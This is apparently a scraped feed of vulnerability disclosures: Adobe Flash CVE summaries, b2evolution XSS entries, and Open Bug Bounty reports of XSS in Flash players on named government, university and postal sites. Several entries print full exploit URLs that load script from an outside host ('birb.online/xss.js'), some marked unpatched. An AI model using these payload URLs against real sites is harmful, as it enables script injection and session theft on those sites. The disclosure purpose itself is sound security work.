Adobe Flash Player Use After Free Code Execution (APSB17-04: CVE-2017-2985)

A remote code execution vulnerability exists in Adobe Flash Player. The vulnerability is due to a use-after-free error in Adobe Flash Player while handling a specially crafted SWF file. A remote attacker can exploit this vulnerability by enticing a target user to open a specially crafted SWF file...

Adobe Flash Player Memory Corruption (APSB17-04: CVE-2017-2988)

A memory corruption vulnerability exists in Adobe Flash Player. The vulnerability is due to an error in Adobe Flash Player while parsing a specially crafted SWF file. A remote attacker can exploit this issue by enticing a victim to open a specially crafted SWF file...

Adobe Flash Player Use After Free Code Execution (APSB17-04: CVE-2017-2982)

A remote code execution vulnerability exists in Adobe Flash Player. The vulnerability is due to a use-after-free error in Adobe Flash Player while handling a specially crafted SWF file. A remote attacker can exploit this vulnerability by enticing a target user to open a specially crafted SWF file...

Adobe Flash Player Memory Corruption (APSB17-04: CVE-2017-2996)

A memory corruption vulnerability exists in Adobe Flash Player. The vulnerability is due to an error in Adobe Flash Player while parsing a specially crafted SWF file. A remote attacker can exploit this issue by enticing a victim to open a specially crafted SWF file...

nato.int XSS vulnerability

Vulnerable URL: http://www.nato.int/docu/review/2008/SWF/flvplayer4.swf ?debug=prompt/openbugbounty/ Details: Description| Value ---|--- Patched:| Yes, at 24.07.2017 Latest check for patch:| 24.07.2017 20:33 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 35938...

Flash File Malicious Code Execution

A code execution vulnerability exist in Flash. The vulnerability is caused by a crafted SWF file with hidden malicious code. A remote attacker can exploit this issue in order to run malicious code on the effected system...

pi.gov.pl XSS vulnerability

Vulnerable URL: http://www.pi.gov.pl/icorlib/flowplayer/3.2.0/flowplayer-3.2.1.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 602623 VIP...

mkidn.gov.pl XSS vulnerability

Vulnerable URL: http://www.mkidn.gov.pl/modules/flvnews/player/flowplayer-3.2.5.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 274867 VIP...

centrodemidias.am.gov.br XSS vulnerability

Vulnerable URL: http://www.centrodemidias.am.gov.br/components/comaula/flowplayer/flowplayer.commercial-3.2.7-2.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

camarasps.rs.gov.br XSS vulnerability

Open Bug Bounty ID: OBB-211030 Description| Value ---|--- Affected Website:| camarasps.rs.gov.br Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

jeju.go.kr XSS vulnerability

Vulnerable URL: http://www.jeju.go.kr/pub/plugin/SpiderLivePlayer/flowplayer-3.2.18.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| Yes, at 03.07.2017 Latest check for patch:| 03.07.2017 06:02 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

ontariorvda.ca XSS vulnerability

Vulnerable URL: http://www.ontariorvda.ca/wp-content/plugins/shadowbox-js/shadowbox/player.swf?debug=alert%27openbugbounty%27 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 10857868 VIP website status:| No Check...

joewalsh.ca XSS vulnerability

Vulnerable URL: http://www.joewalsh.ca/evp/player/flowplayer-3.2.4/flowplayer-3.2.4.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 10014066...

tectonics.caltech.edu XSS vulnerability

Vulnerable URL: https://www.tectonics.caltech.edu/movies/flowplayer/flowplayer-3.2.7.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown...

gopost.usps.com XSS vulnerability

Vulnerable URL: https://gopost.usps.com/media/video/flowplayer/swf/flowplayer-3.2.7.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown ...

Adobe Flash Player Use After Free Code Execution (APSB17-02: CVE-2017-2937)

A remote code execution vulnerability has been reported in Adobe Flash Player. The vulnerability is due to a use-after-free error in Adobe Flash Player while handling a specially crafted SWF file. A remote attacker can exploit this vulnerability by enticing a target user to open a specially craft...

Adobe Flash Player Use After Free Code Execution (APSB17-02: CVE-2017-2936)

A remote code execution vulnerability has been reported in Adobe Flash Player. The vulnerability is due to a use-after-free error in Adobe Flash Player while handling a specially crafted SWF file. A remote attacker can exploit this vulnerability by enticing a target user to open a specially craft...

Remote Web Code Execution

b2evolution is vulnerable to remote code execution vulnerabilities. It allows remote authenticated users to inject arbitrary web script or HTML via a .swf file in a comment frame or avatar frame of the file types table...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in the file types table in b2evolution through 6.8.3 allow remote authenticated users to inject arbitrary web script or HTML via a .swf file in a 1 comment frame or 2 avatar frame...

CVE-2017-5494

Multiple cross-site scripting XSS vulnerabilities in the file types table in b2evolution through 6.8.3 allow remote authenticated users to inject arbitrary web script or HTML via a .swf file in a 1 comment frame or 2 avatar frame...